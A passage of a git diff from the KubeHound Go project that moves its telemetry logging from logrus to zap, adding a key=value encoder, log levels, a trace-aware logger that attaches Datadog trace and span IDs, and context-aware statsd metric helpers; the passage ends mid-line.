b/pkg/telemetry/log/kv.go @@ -0,0 +1,322 @@ +package log + +import ( + "encoding/base64" + "fmt" + "slices" + "strconv" + "strings" + "time" + + "go.uber.org/zap/buffer" + "go.uber.org/zap/zapcore" +) + +var ( + DefaultRemovedFields = []string{FieldTeamKey, FieldServiceKey, FieldAppKey, FieldRunIDKey, FieldClusterKey, FieldComponentKey, spanIDKey, traceIDKey} + bufferpool = buffer.NewPool() +) + +type kvEncoder struct { + *zapcore.EncoderConfig + buf *buffer.Buffer +} + +// NewKeyValueEncoder creates a key/value encoder that emits logs with a very basic +// "key=value" formatting. +func NewKeyValueEncoder(cfg zapcore.EncoderConfig) (zapcore.Encoder, error) { + return newkvEncoder(cfg), nil +} + +func newkvEncoder(cfg zapcore.EncoderConfig) *kvEncoder { + return &kvEncoder{ + EncoderConfig: &cfg, + buf: bufferpool.Get(), + } +} + +// DumpBuffer dumps this encoder's buffer as a string, resetting it. +// Useful for testing. +func (enc *kvEncoder) DumpBuffer() string { + defer enc.buf.Reset() + + return enc.buf.String() +} + +// forceElementSeparator even if it looks like we're adding a value; +// useful for functions that know they are appending a key +func (enc *kvEncoder) forceElementSeparator() { + last := enc.buf.Len() - 1 + if last < 0 { + return + } + bb := enc.buf.Bytes() + switch bb[last] { + case ' ', '(', '{': + return + } + enc.buf.AppendByte(' ') +} + +func (enc *kvEncoder) addElementSeparator() { + last := enc.buf.Len() - 1 + if last < 0 { + return + } + // XXX(jason): technically, this means values that end in "=" or + // "[" will not get a separator; this may not matter. + bb := enc.buf.Bytes() + switch bb[last] { + case ' ', '=', '(', '{': + return + } + enc.buf.AppendByte(' ') +} + +func (enc *kvEncoder) addKey(key string) { + enc.forceElementSeparator() + // if the key is left out, we might be part of a "compound" nested object that + // is supposed to be flat, so elide the key and the "=" sign + if len(key) > 0 { + enc.buf.AppendString(key) + enc.buf.AppendByte('=') + } +} + +func (enc *kvEncoder) AddArray(key string, marshaler zapcore.ArrayMarshaler) error { + enc.addKey(key) + + return enc.AppendArray(marshaler) +} + +func (enc *kvEncoder) AddObject(key string, marshaler zapcore.ObjectMarshaler) error { + enc.addKey(key) + + return marshaler.MarshalLogObject(enc) +} + +func (enc *kvEncoder) AddBinary(key string, value []byte) { + enc.AddString(key, base64.StdEncoding.EncodeToString(value)) +} + +func (enc *kvEncoder) AddByteString(key string, value []byte) { + enc.addKey(key) + enc.buf.Write(value) //nolint: errcheck +} +func (enc *kvEncoder) AddBool(key string, value bool) { + enc.addKey(key) + enc.AppendBool(value) +} + +func (enc *kvEncoder) AddComplex128(key string, value complex128) { + enc.addKey(key) + enc.AppendComplex128(value) +} + +func (enc *kvEncoder) AddComplex64(key string, value complex64) { + enc.AddComplex128(key, complex128(value)) +} + +func (enc *kvEncoder) AddDuration(key string, value time.Duration) { + enc.AddString(key, value.String()) +} + +func (enc *kvEncoder) AddFloat64(key string, value float64) { + enc.addKey(key) + enc.AppendFloat64(value) +} +func (enc *kvEncoder) AddFloat32(key string, value float32) { enc.AddFloat64(key, float64(value)) } + +func (enc *kvEncoder) AddInt64(key string, value int64) { + enc.addKey(key) + enc.buf.AppendString(strconv.FormatInt(value, 10)) +} +func (enc *kvEncoder) AddInt(key string, value int) { enc.AddInt64(key, int64(value)) } +func (enc *kvEncoder) AddInt32(key string, value int32) { enc.AddInt64(key, int64(value)) } +func (enc *kvEncoder) AddInt16(key string, value int16) { enc.AddInt64(key, int64(value)) } +func (enc *kvEncoder) AddInt8(key string, value int8) { enc.AddInt64(key, int64(value)) } + +func (enc *kvEncoder) AddString(key, value string) { + enc.addKey(key) + // If we have spaces, we surround the value with double quotes and escape existing double quotes + if strings.Contains(value, " ") { + value = `"` + strings.ReplaceAll(value, `"`, `\"`) + `"` + } + enc.buf.Write([]byte(value)) //nolint: errcheck +} +func (enc *kvEncoder) AddRawString(key, value string) { + enc.addKey(key) + enc.buf.Write([]byte(value)) //nolint: errcheck +} + +func (enc *kvEncoder) AddTime(key string, value time.Time) { + enc.addKey(key) + enc.AppendTime(value) +} +func (enc *kvEncoder) AddUint64(key string, value uint64) { + enc.addKey(key) + enc.buf.AppendString(strconv.FormatUint(value, 10)) +} +func (enc *kvEncoder) AddUint(key string, value uint) { enc.AddUint64(key, uint64(value)) } +func (enc *kvEncoder) AddUint32(key string, value uint32) { enc.AddUint64(key, uint64(value)) } +func (enc *kvEncoder) AddUint16(key string, value uint16) { enc.AddUint64(key, uint64(value)) } +func (enc *kvEncoder) AddUint8(key string, value uint8) { enc.AddUint64(key, uint64(value)) } +func (enc *kvEncoder) AddUintptr(key string, value uintptr) { enc.AddUint64(key, uint64(value)) } +func (enc *kvEncoder) AddReflected(key string, value interface{}) error { + enc.AddRawString(key, fmt.Sprintf("%v", value)) + + return nil +} + +func (enc *kvEncoder) OpenNamespace(key string) {} + +func (enc *kvEncoder) AppendObject(marshaler zapcore.ObjectMarshaler) error { + return marshaler.MarshalLogObject(enc) +} + +func (enc *kvEncoder) AppendReflected(val interface{}) error { + enc.AppendString(fmt.Sprintf("%v", val)) + + return nil +} + +// Implement zapcore.PrimitiveArrayEncoder +func (enc *kvEncoder) AppendBool(value bool) { + enc.addElementSeparator() + enc.buf.AppendBool(value) +} + +func (enc *kvEncoder) AppendByteString(value []byte) { + enc.addElementSeparator() + enc.buf.Write(value) //nolint: errcheck +} + +func (enc *kvEncoder) AppendDuration(value time.Duration) { + enc.AppendString(value.String()) +} + +func (enc *kvEncoder) AppendComplex128(value complex128) { + enc.addElementSeparator() + r, i := float64(real(value)), float64(imag(value)) + enc.buf.AppendFloat(r, 64) + enc.buf.AppendByte('+') + enc.buf.AppendFloat(i, 64) + enc.buf.AppendByte('i') +} + +func (enc *kvEncoder) AppendArray(marshaler zapcore.ArrayMarshaler) error { + enc.addElementSeparator() + enc.buf.AppendByte('{') + err := marshaler.MarshalLogArray(enc) + enc.buf.AppendByte('}') + + return err +} +func (enc *kvEncoder) AppendComplex64(value complex64) { enc.AppendComplex128(complex128(value)) } +func (enc *kvEncoder) AppendFloat64(value float64) { + enc.addElementSeparator() + enc.buf.AppendString(strconv.FormatFloat(value, 'g', -1, 64)) +} +func (enc *kvEncoder) AppendFloat32(value float32) { enc.AppendFloat64(float64(value)) } +func (enc *kvEncoder) AppendInt64(value int64) { enc.AppendString(strconv.FormatInt(value, 10)) } +func (enc *kvEncoder) AppendInt(value int) { enc.AppendInt64(int64(value)) } +func (enc *kvEncoder) AppendInt32(value int32) { enc.AppendInt64(int64(value)) } +func (enc *kvEncoder) AppendInt16(value int16) { enc.AppendInt64(int64(value)) } +func (enc *kvEncoder) AppendInt8(value int8) { enc.AppendInt64(int64(value)) } +func (enc *kvEncoder) AppendString(value string) { + enc.addElementSeparator() + enc.buf.AppendString(value) +} +func (enc *kvEncoder) AppendTime(value time.Time) { + enc.addElementSeparator() + if enc.EncodeTime != nil { + enc.EncodeTime(value, enc) + } else { + enc.AppendString(fmt.Sprint(value)) + } +} +func (enc *kvEncoder) AppendUint64(value uint64) { enc.AppendString(strconv.FormatUint(value, 10)) } +func (enc *kvEncoder) AppendUint(value uint) { enc.AppendUint64(uint64(value)) } +func (enc *kvEncoder) AppendUint32(value uint32) { enc.AppendUint64(uint64(value)) } +func (enc *kvEncoder) AppendUint16(value uint16) { enc.AppendUint64(uint64(value)) } +func (enc *kvEncoder) AppendUint8(value uint8) { enc.AppendUint64(uint64(value)) } +func (enc *kvEncoder) AppendUintptr(value uintptr) { enc.AppendUint64(uint64(value)) } + +func (enc *kvEncoder) Clone() zapcore.Encoder { + clone := enc.clone() + clone.buf.Write(enc.buf.Bytes()) //nolint: errcheck + + return clone +} + +func (enc *kvEncoder) clone() *kvEncoder { + clone := newkvEncoder(*enc.EncoderConfig) + clone.buf = bufferpool.Get() + + return clone +} + +func (enc *kvEncoder) EncodeEntry(ent zapcore.Entry, rawfields []zapcore.Field) (*buffer.Buffer, error) { + c := enc.clone() + + fields := make([]zapcore.Field, 0, len(rawfields)) + for _, field := range rawfields { + if slices.Contains(DefaultRemovedFields, field.Key) { + continue + } + fields = append(fields, field) + } + // we overload the time encoder to determine whether or not we will also append + // a hostname and appname. This way, we can avoid doing so in environments where + // this is prepended to us by some other means. + if c.TimeKey != "" && c.EncodeTime != nil { + c.EncodeTime(ent.Time, c) + } + + if c.LevelKey != "" && c.EncodeLevel != nil { + c.EncodeLevel(ent.Level, c) + } + + if ent.LoggerName != "" && c.NameKey != "" { + nameEncoder := c.EncodeName + if nameEncoder == nil { + nameEncoder = zapcore.FullNameEncoder + } + nameEncoder(ent.LoggerName, c) + } + + if ent.Caller.Defined && c.CallerKey != "" && c.EncodeCaller != nil { + c.AppendString("(") // we want to get the space here if needed + c.EncodeCaller(ent.Caller, c) + c.buf.AppendByte(')') + + // mimic seelog output and add dash between the preamble and the actual message + c.AppendString("-") + } + + // add the message even if MessageKey is not set + c.AppendString(ent.Message) + + if enc.buf.Len() > 0 { + c.addElementSeparator() + c.buf.Write(enc.buf.Bytes()) //nolint: errcheck + } + + for i := range fields { + fields[i].AddTo(c) + } + + if ent.Stack != "" && c.StacktraceKey != "" { + c.buf.AppendByte('\n') + c.buf.AppendString(ent.Stack) + } + + // do not accidentally add a space between the line and the line ending + if c.LineEnding != "" { + c.buf.AppendString(c.LineEnding) + } else { + c.buf.AppendString(zapcore.DefaultLineEnding) + } + + return c.buf, nil +} diff --git a/pkg/telemetry/log/level.go b/pkg/telemetry/log/level.go new file mode 100644 index 000000000..4c592ab38 --- /dev/null +++ b/pkg/telemetry/log/level.go @@ -0,0 +1,109 @@ +package log + +import ( + "errors" + "strings" + + "go.uber.org/zap/zapcore" +) + +// Level of log emission. A logger at any level will ignore all levels +// below it in value. +type Level byte + +// Logging levels +const ( + LevelTrace Level = iota + LevelDebug + LevelInfo + LevelWarn + LevelError + LevelPanic + LevelFatal +) + +// DefaultLevel is the logging level if nothing is configured. +const DefaultLevel = LevelInfo + +func (lvl Level) String() string { + switch lvl { + case LevelTrace: + return "trace" + case LevelDebug: + return "debug" + case LevelInfo: + return "info" + case LevelWarn: + return "warn" + case LevelError: + return "error" + case LevelPanic: + return "panic" + case LevelFatal: + return "fatal" + default: + return "" + } +} + +// MarshalText implements encoding.TextMarshaler for Level. +func (lvl Level) MarshalText() ([]byte, error) { + return []byte(lvl.String()), nil +} + +// UnmarshalText implements encoding.TextUnmarshaler for Level. +func (lvl *Level) UnmarshalText(text []byte) error { + l, err := LevelFromString(string(text)) + if err != nil { + return err + } + *lvl = l + + return nil +} + +// LevelFromString returns the level for the given string. If the string +// is not valid, an error is returned. +func LevelFromString(str string) (Level, error) { + s := strings.ToLower(str) + switch s { + case "trace": + return LevelTrace, nil + case "debug": + return LevelDebug, nil + case "info": + return LevelInfo, nil + case "warn": + return LevelWarn, nil + case "error": + return LevelError, nil + case "panic": + return LevelPanic, nil + case "fatal": + return LevelFatal, nil + } + + return 0, errors.New("invalid log level") +} + +func (lvl Level) zapLevel() zapcore.Level { + switch lvl { + case LevelTrace: + return zapcore.DebugLevel + case LevelDebug: + return zapcore.DebugLevel + case LevelInfo: + return zapcore.InfoLevel + case LevelWarn: + return zapcore.WarnLevel + case LevelError: + return zapcore.ErrorLevel + case LevelPanic: + return zapcore.PanicLevel + case LevelFatal: + return zapcore.FatalLevel + } + + // default to InfoLevel if we have something weird + return zapcore.InfoLevel +} diff --git a/pkg/telemetry/log/logger.go b/pkg/telemetry/log/logger.go index 8264aac05..ea7990c08 100644 --- a/pkg/telemetry/log/logger.go +++ b/pkg/telemetry/log/logger.go @@ -2,137 +2,101 @@ package log import ( "context" - "os" - "strconv" - "sync" + "sync/atomic" - "github.com/DataDog/KubeHound/pkg/globals" - logrus "github.com/sirupsen/logrus" - "gopkg.in/DataDog/dd-trace-go.v1/ddtrace/tracer" + "go.uber.org/zap" ) -type LoggerOption func(*logrus.Entry) *logrus.Entry - -type LoggerConfig struct { - Tags logrus.Fields // Tags applied to all logs. - Mu *sync.Mutex // Lock to enable safe runtime changes. - DD bool // Whether Datadog integration is enabled. -} - -var globalConfig = LoggerConfig{ - Tags: logrus.Fields{ - globals.TagService: globals.DDServiceName, - globals.TagComponent: globals.DefaultComponent, - }, - Mu: &sync.Mutex{}, - DD: true, +// globalDefault contains the current global default logger and its configuration. +// It is set in ConfigureDefaultLogger, which is called in a package init() function. +// It will never be nil. +// +// When using this from package-level functions, we must use the zap loggers directly. +// This avoids adding an extra level of functions to the stack. This means we can use the same +// loggers, without changing the AddCallerSkip() configuration. +var globalDefault atomic.Pointer[traceLogger] + +type LoggerI interface { //nolint: interfacebloat + // With returns a child logger structured with the provided fields. + // Fields added to the child don't affect the parent, and vice versa. + With(fields ...Field) LoggerI + + Debug(msg string, fields ...Field) + Info(msg string, fields ...Field) + Warn(msg string, fields ...Field) + Error(msg string, fields ...Field) + Panic(msg string, fields ...Field) + Fatal(msg string, fields ...Field) + + Debugf(msg string, params ...interface{}) + Infof(msg string, params ...interface{}) + Warnf(msg string, params ...interface{}) + Errorf(msg string, params ...interface{}) + Panicf(msg string, params ...interface{}) + Fatalf(msg string, params ...interface{}) } -// I Global logger instance for use through the app -var I = Base() - -// Require our logger to append job or API related fields for easier filtering and parsing -// of logs within custom dashboards. Sticking to the "structured" log types also enables -// out of the box correlation of APM traces and log messages without the need for a custom -// index pipeline. See: https://docs.datadoghq.com/logs/log_collection/go/#configure-your-logger type KubehoundLogger struct { - *logrus.Entry -} - -// traceID retrieves the trace ID from the provided span. -func traceID(span tracer.Span) string { - traceID := span.Context().TraceID() - - return strconv.FormatUint(traceID, 10) -} - -// traceID retrieves the span ID from the provided span. -func spanID(span tracer.Span) string { - spanID := span.Context().SpanID() - - return strconv.FormatUint(spanID, 10) + LoggerI } -// Base returns the base logger for the application. -func Base() *KubehoundLogger { - logger := logrus.WithFields(globalConfig.Tags) - logger.Logger.SetFormatter(GetLogrusFormatter()) +func Logger(ctx context.Context) LoggerI { + logger := Trace(ctx) - return &KubehoundLogger{logger} + return &KubehoundLogger{ + LoggerI: logger, + } } -// SetDD enables/disabled Datadog integration in the logger. -func SetDD(enabled bool) { - globalConfig.Mu.Lock() - defer globalConfig.Mu.Unlock() +const ( + spanIDKey = "dd.span_id" + traceIDKey = "dd.trace_id" - globalConfig.DD = enabled + logFormatDD = "dd" + logFormatJSON = "json" + logFormatText = "text" +) - // Replace the current logger instance to reflect changes - I = Base() +// DefaultLogger returns the global logger +func DefaultLogger() LoggerI { + return globalDefault.Load() } -// AddGlobalTags adds global tags to all application loggers. -func AddGlobalTags(tags map[string]string) { - globalConfig.Mu.Lock() - defer globalConfig.Mu.Unlock() - - for tk, tv := range tags { - globalConfig.Tags[tk] = tv +func init() { + err := zap.RegisterEncoder("text", NewKeyValueEncoder) + if err != nil { + panic(err) } - - // Replace the current logger instance to reflect changes - I = Base() + InitLogger() } -// WithComponent adds a component name tag to the logger. -func WithComponent(name string) LoggerOption { - return func(l *logrus.Entry) *logrus.Entry { - return l.WithField(globals.TagComponent, name) +func InitLogger() { + l := &traceLogger{ + logger: newLoggerWithSkip(1), + fields: []Field{}, } + globalDefault.Store(l) } -// Trace creates a logger from the current context, attaching trace and span IDs for use with APM. -func Trace(ctx context.Context, opts ...LoggerOption) *KubehoundLogger { - baseLogger := Base() +func newLoggerWithSkip(skip int) *zapLogger { + // add 1 to skip: We wrap zap's functions with *zapLogger methods + skip += 1 - span, ok := tracer.SpanFromContext(ctx) - if !ok { - return baseLogger + zc := newZapConfig() + zOptions := []zap.Option{ + zap.AddCallerSkip(skip), + zap.AddStacktrace(zap.DPanicLevel), } - if !globalConfig.DD { - return baseLogger - } - - logger := baseLogger.WithFields(logrus.Fields{ - "dd.span_id": spanID(span), - "dd.trace_id": traceID(span), - }) + logger, err := zc.Build(zOptions...) - for _, o := range opts { - logger = o(logger) + // XXX: fall back to a basic printf-based logger? + if err != nil { + panic(err) } - return &KubehoundLogger{logger} -} - -func GetLogrusFormatter() logrus.Formatter { - switch logFormat := os.Getenv("KH_LOG_FORMAT"); { - // Datadog require the logged field to be "message" and not "msg" - case logFormat == "dd": - formatter := &logrus.JSONFormatter{ - FieldMap: logrus.FieldMap{ - logrus.FieldKeyMsg: "message", - }, - } - - return formatter - case logFormat == "json": - return &logrus.JSONFormatter{} - case logFormat == "text": - return &logrus.TextFormatter{} - default: - return &logrus.TextFormatter{} + return &zapLogger{ + l: logger, + s: logger.Sugar(), } } diff --git a/pkg/telemetry/log/trace_logger.go b/pkg/telemetry/log/trace_logger.go new file mode 100644 index 000000000..a4879ac60 --- /dev/null +++ b/pkg/telemetry/log/trace_logger.go @@ -0,0 +1,146 @@ +package log + +import ( + "context" + "strconv" + + "go.uber.org/zap" + ddtrace "gopkg.in/DataDog/dd-trace-go.v1/ddtrace/tracer" +) + +// Trace returns a wrapped default logger that automatically adds trace +// related ids to log output. +func Trace(ctx context.Context) LoggerI { + return TraceLogger(ctx, DefaultLogger()) +} + +// ddTraceTraceID creates a field with a string traceID with the common key "dd.trace_id". +// To keep precision in JSON we have to turn the very large ids into strings +func ddTraceTraceID(span ddtrace.Span) Field { + traceID := span.Context().TraceID() + traceIDStr := strconv.FormatUint(traceID, 10) + + return zap.String(traceIDKey, traceIDStr) +} + +// ddTraceSpanID creates a field with a string spanID with the common key "dd.span_id". +// To keep precision in JSON we have to turn the very large ids into strings +func ddTraceSpanID(span ddtrace.Span) Field { + spanID := span.Context().SpanID() + spanIDStr := strconv.FormatUint(spanID, 10) + + return zap.String(spanIDKey, spanIDStr) +} + +// traceLogger is a logger type that automatically adds trace and span ids +// to its output. It implements `Level` and `LevelF` logging variants, using +// fields for `Level` funcs and pre-pending `k=v` output for trace & span +// ID in `LevelF` funcs. +type traceLogger struct { + logger LoggerI + + // We assume fields to be immutable after trace logger is created, + // hence they are directly referenced (and not copied) when deriving + // a child logger with With. + fields []Field +} + +// TraceLogger returns a wrapped version of logger that automatically adds +// trace related ids to log output. If Logger was not created by this package, the caller +// line number information will be incorrect. +func TraceLogger(ctx context.Context, logger LoggerI) LoggerI { + var fields []zap.Field + span, ok := ddtrace.SpanFromContext(ctx) + if !ok { + return logger + } + + fields = []zap.Field{ddTraceSpanID(span), ddTraceTraceID(span)} + + // Adding by default the runID and cluster to the logs + runID := convertField(ctx.Value(ContextFieldRunID)) + if runID != "" { + fields = append(fields, String(FieldRunIDKey, runID)) + } + cluster := convertField(ctx.Value(ContextFieldCluster)) + if cluster != "" { + fields = append(fields, String(FieldClusterKey, cluster)) + } + component := convertField(ctx.Value(ContextFieldComponent)) + if component != "" { + fields = append(fields, String(FieldComponentKey, component)) + } + + // no span: return the logger with no modifications + if len(fields) == 0 { + return logger + } + + l := &traceLogger{ + logger: logger, + fields: fields, + } + + return l +} + +func (t *traceLogger) With(fields ...Field) LoggerI { + return &traceLogger{ + logger: t.logger.With(fields...), + fields: t.fields, + } +} + +func (t *traceLogger) Debug(msg string, fields ...Field) { + fields = append(fields, t.fields...) + t.logger.Debug(msg, fields...) +} + +func (t *traceLogger) Info(msg string, fields ...Field) { + fields = append(fields, t.fields...) + t.logger.Info(msg, fields...) +} + +func (t *traceLogger) Warn(msg string, fields ...Field) { + fields = append(fields, t.fields...) + t.logger.Warn(msg, fields...) +} + +func (t *traceLogger) Error(msg string, fields ...Field) { + fields = append(fields, t.fields...) + t.logger.Error(msg, fields...) +} + +func (t *traceLogger) Panic(msg string, fields ...Field) { + fields = append(fields, t.fields...) + t.logger.Panic(msg, fields...) +} + +func (t *traceLogger) Fatal(msg string, fields ...Field) { + fields = append(fields, t.fields...) + t.logger.Fatal(msg, fields...) +} + +func (t *traceLogger) Debugf(msg string, params ...interface{}) { + t.logger.With(t.fields...).Debugf(msg, params...) +} + +func (t *traceLogger) Infof(msg string, params ...interface{}) { + t.logger.With(t.fields...).Infof(msg, params...) +} + +func (t *traceLogger) Warnf(msg string, params ...interface{}) { + t.logger.With(t.fields...).Warnf(msg, params...) +} + +func (t *traceLogger) Errorf(msg string, params ...interface{}) { + t.logger.With(t.fields...).Errorf(msg, params...) +} + +func (t *traceLogger) Panicf(msg string, params ...interface{}) { + t.logger.With(t.fields...).Panicf(msg, params...) +} + +func (t *traceLogger) Fatalf(msg string, params ...interface{}) { + t.logger.With(t.fields...).Fatalf(msg, params...) +} diff --git a/pkg/telemetry/log/zap_logger.go b/pkg/telemetry/log/zap_logger.go new file mode 100644 index 000000000..543c76cd3 --- /dev/null +++ b/pkg/telemetry/log/zap_logger.go @@ -0,0 +1,67 @@ +package log + +import ( + "go.uber.org/zap" +) + +type zapLogger struct { + l *zap.Logger + s *zap.SugaredLogger +} + +func (z *zapLogger) With(fields ...Field) LoggerI { + childLogger := z.l.With(fields...) + + return &zapLogger{ + l: childLogger, + s: childLogger.Sugar(), + } +} + +func (z *zapLogger) Debug(msg string, fields ...Field) { + z.l.Debug(msg, fields...) +} + +func (z *zapLogger) Info(msg string, fields ...Field) { + z.l.Info(msg, fields...) +} + +func (z *zapLogger) Warn(msg string, fields ...Field) { + z.l.Warn(msg, fields...) +} + +func (z *zapLogger) Error(msg string, fields ...Field) { + z.l.Error(msg, fields...) +} + +func (z *zapLogger) Panic(msg string, fields ...Field) { + z.l.Panic(msg, fields...) +} + +func (z *zapLogger) Fatal(msg string, fields ...Field) { + z.l.Fatal(msg, fields...) +} + +func (z *zapLogger) Debugf(msg string, params ...interface{}) { + z.s.Debugf(msg, params...) +} + +func (z *zapLogger) Infof(msg string, params ...interface{}) { + z.s.Infof(msg, params...) +} + +func (z *zapLogger) Warnf(msg string, params ...interface{}) { + z.s.Warnf(msg, params...) +} + +func (z *zapLogger) Errorf(msg string, params ...interface{}) { + z.s.Errorf(msg, params...) +} + +func (z *zapLogger) Panicf(msg string, params ...interface{}) { + z.s.Panicf(msg, params...) +} + +func (z *zapLogger) Fatalf(msg string, params ...interface{}) { + z.s.Fatalf(msg, params...) +} diff --git a/pkg/telemetry/metric/metrics.go b/pkg/telemetry/metric/metrics.go index e2040bcb6..1a7e97b5f 100644 --- a/pkg/telemetry/metric/metrics.go +++ b/pkg/telemetry/metric/metrics.go @@ -28,6 +28,7 @@ var ( QueueSize = "kubehound.storage.queue.size" BackgroundWriterCall = "kubehound.storage.writer.background" FlushWriterCall = "kubehound.storage.writer.flush" + RetryWriterCall = "kubehound.storage.writer.retry" ) // Cache metrics @@ -37,3 +38,10 @@ var ( CacheWrite = "kubehound.cache.write" CacheDuplicate = "kubehound.cache.duplicate" ) + +// Ingestion metrics +const ( + IngestionRunDuration = "kubehound.ingestion.run.duration" + IngestionBuildDuration = "kubehound.ingestion.build.duration" + IngestionIngestDuration = "kubehound.ingestion.ingest.duration" +) diff --git a/pkg/telemetry/profiler/profiler.go b/pkg/telemetry/profiler/profiler.go index aab885ca4..138a678e3 100644 --- a/pkg/telemetry/profiler/profiler.go +++ b/pkg/telemetry/profiler/profiler.go @@ -1,6 +1,8 @@ package profiler import ( + "context" + "github.com/DataDog/KubeHound/pkg/config" "github.com/DataDog/KubeHound/pkg/globals" "github.com/DataDog/KubeHound/pkg/telemetry/log" @@ -8,7 +10,8 @@ import ( "gopkg.in/DataDog/dd-trace-go.v1/profiler" ) -func Initialize(cfg *config.KubehoundConfig) { +func Initialize(ctx context.Context, cfg *config.KubehoundConfig) { + l := log.Logger(ctx) opts := []profiler.Option{ profiler.WithService(globals.DDServiceName), profiler.WithEnv(globals.GetDDEnv()), @@ -34,7 +37,7 @@ func Initialize(cfg *config.KubehoundConfig) { err := profiler.Start(opts...) if err != nil { - log.I.Errorf("start profiler: %v", err) + l.Error("start profiler", log.ErrorField(err)) } } diff --git a/pkg/telemetry/span/spans.go b/pkg/telemetry/span/spans.go index 538654e7c..3d1c732a5 100644 --- a/pkg/telemetry/span/spans.go +++ b/pkg/telemetry/span/spans.go @@ -3,6 +3,7 @@ package span import ( "context" + "github.com/DataDog/KubeHound/pkg/telemetry/log" "github.com/DataDog/KubeHound/pkg/telemetry/tag" "gopkg.in/DataDog/dd-trace-go.v1/ddtrace" "gopkg.in/DataDog/dd-trace-go.v1/ddtrace/tracer" @@ -38,6 +39,7 @@ const ( IngestorBlobPut = "kubehound.ingestor.blob.put" IngestorBlobExtract = "kubehound.ingestor.blob.extract" IngestorBlobClose = "kubehound.ingestor.blob.close" + IngestorClean = "kubehound.ingestor.clean" DumperLaunch = "kubehound.dumper.launch" @@ -48,6 +50,7 @@ const ( DumperClusterRoles = "kubehound.dumper.clusterroles" DumperRoleBindings = "kubehound.dumper.rolebindings" DumperClusterRoleBindings = "kubehound.dumper.clusterrolebindings" + DumperMetadata = "kubehound.dumper.metadata" DumperReadFile = "kubehound.dumper.readFile" DumperS3Push = "kubehound.dumper.s3_push" @@ -62,15 +65,6 @@ const ( BuildEdge = "kubehound.graph.builder.edge" ) -// to avoid the following lint error -// should not use built-in type string as key for value; define your own type to avoid collisions (SA1029) -type contextKey int - -const ( - ContextLogFieldClusterName contextKey = iota - ContextLogFieldRunID -) - func convertTag(value any) string { val, err := value.(string) if !err { @@ -80,14 +74,21 @@ func convertTag(value any) string { return val } -func SpanIngestRunFromContext(runCtx context.Context, spanName string) (ddtrace.Span, context.Context) { - spanJob, runCtx := tracer.StartSpanFromContext(runCtx, spanName, tracer.ResourceName(convertTag(runCtx.Value(ContextLogFieldClusterName))), tracer.Measured()) +func StartSpanFromContext(runCtx context.Context, operationName string, opts ...tracer.StartSpanOption) (tracer.Span, context.Context) { + spanJob, runCtx := tracer.StartSpanFromContext(runCtx, operationName, opts...) + spanIngestRunSetDefaultTag(runCtx, spanJob) + + return spanJob, runCtx +} + +func SpanRunFromContext(runCtx context.Context, spanName string) (ddtrace.Span, context.Context) { + spanJob, runCtx := tracer.StartSpanFromContext(runCtx, spanName, tracer.ResourceName(convertTag(runCtx.Value(log.ContextFieldCluster))), tracer.Measured()) spanIngestRunSetDefaultTag(runCtx, spanJob) return spanJob, runCtx } func spanIngestRunSetDefaultTag(ctx context.Context, span ddtrace.Span) { - span.SetTag(tag.CollectorClusterTag, convertTag(ctx.Value(ContextLogFieldClusterName))) - span.SetTag(tag.RunIdTag, convertTag(ctx.Value(ContextLogFieldRunID))) + span.SetTag(tag.CollectorClusterTag, convertTag(ctx.Value(log.ContextFieldCluster))) + span.SetTag(tag.RunIdTag, convertTag(ctx.Value(log.ContextFieldRunID))) } diff --git a/pkg/telemetry/statsd/statsd.go b/pkg/telemetry/statsd/statsd.go index 88645355b..0114dfcf2 100644 --- a/pkg/telemetry/statsd/statsd.go +++ b/pkg/telemetry/statsd/statsd.go @@ -5,6 +5,7 @@ package statsd import ( + "context" "time" "github.com/DataDog/KubeHound/pkg/config" @@ -23,9 +24,10 @@ func init() { statsdClient = &NoopClient{} } -func Setup(cfg *config.KubehoundConfig) error { +func Setup(ctx context.Context, cfg *config.KubehoundConfig) error { + l := log.Logger(ctx) statsdURL := cfg.Telemetry.Statsd.URL - log.I.Infof("Using %s for statsd URL", statsdURL) + l.Infof("Using %q for statsd URL", statsdURL) var err error tags := tag.GetBaseTags() @@ -38,7 +40,7 @@ func Setup(cfg *config.KubehoundConfig) error { // In case we don't have a statsd url set or DD_DOGSTATSD_URL env var, we just want to continue, but log that we aren't going to submit metrics. if err != nil || statsdClient == nil { - log.I.Warn("No metrics collector has been setup. All metrics submission are going to be NOOPmmm.") + l.Warn("No metrics collector has been setup. All metrics submission are going to be NOOP.") statsdClient = &NoopClient{} return err @@ -48,46 +50,51 @@ func Setup(cfg *config.KubehoundConfig) error { } // Count tracks how many times something happened per second. -func Count(name string, value int64, tags []string, rate float64) error { +func Count(ctx context.Context, name string, value int64, tags []string, rate float64) error { if statsdClient == nil { return nil } + tags = append(tags, tag.GetDefaultTags(ctx)...) return statsdClient.Count(name, value, tags, rate) } // Gauge measures the value of a metric at a particular time. -func Gauge(name string, value float64, tags []string, rate float64) error { +func Gauge(ctx context.Context, name string, value float64, tags []string, rate float64) error { if statsdClient == nil { return nil } + tags = append(tags, tag.GetDefaultTags(ctx)...) return statsdClient.Gauge(name, value, tags, rate) } // Incr is just Count of 1 -func Incr(name string, tags []string, rate float64) error { +func Incr(ctx context.Context, name string, tags []string, rate float64) error { if statsdClient == nil { return nil } + tags = append(tags, tag.GetDefaultTags(ctx)...) return statsdClient.Incr(name, tags, rate) } // Decr is just Count of -1 -func Decr(name string, tags []string, rate float64) error { +func Decr(ctx context.Context, name string, tags []string, rate float64) error { if statsdClient == nil { return nil } + tags = append(tags, tag.GetDefaultTags(ctx)...) return statsdClient.Decr(name, tags, rate) } // Histogram tracks the statistical distribution of a set of values. -func Histogram(name string, value float64, tags []string, rate float64) error { +func Histogram(ctx context.Context, name string, value float64, tags []string, rate float64) error { if statsdClient == nil { return nil } + tags = append(tags, tag.GetDefaultTags(ctx)...) return statsdClient.Histogram(name, value, tags, rate) } @@ -111,28 +118,31 @@ func SimpleEvent(title string, text string) error { } // Set counts the number of unique elements in a group. -func Set(name string, value string, tags []string, rate float64) error { +func Set(ctx context.Context, name string, value string, tags []string, rate float64) error { if statsdClient == nil { return nil } + tags = append(tags, tag.GetDefaultTags(ctx)...) return statsdClient.Set(name, value, tags, rate) } // Timing sends timing information, it is an alias for TimeInMilliseconds -func Timing(name string, value time.Duration, tags []string, rate float64) error { +func Timing(ctx context.Context, name string, value time.Duration, tags []string, rate float64) error { if statsdClient == nil { return nil } + tags = append(tags, tag.GetDefaultTags(ctx)...) return statsdClient.Timing(name, value, tags, rate) } // TimingDist sends dt in milliseconds as a distribution (p50-p99) -func TimingDist(name string, dt time.Duration, tags []string, rate float64) error { +func TimingDist(ctx context.Context, name string, dt time.Duration, tags []string, rate float64) error { if statsdClient == nil { return nil } + tags = append(tags, tag.GetDefaultTags(ctx)...) const secToMillis = 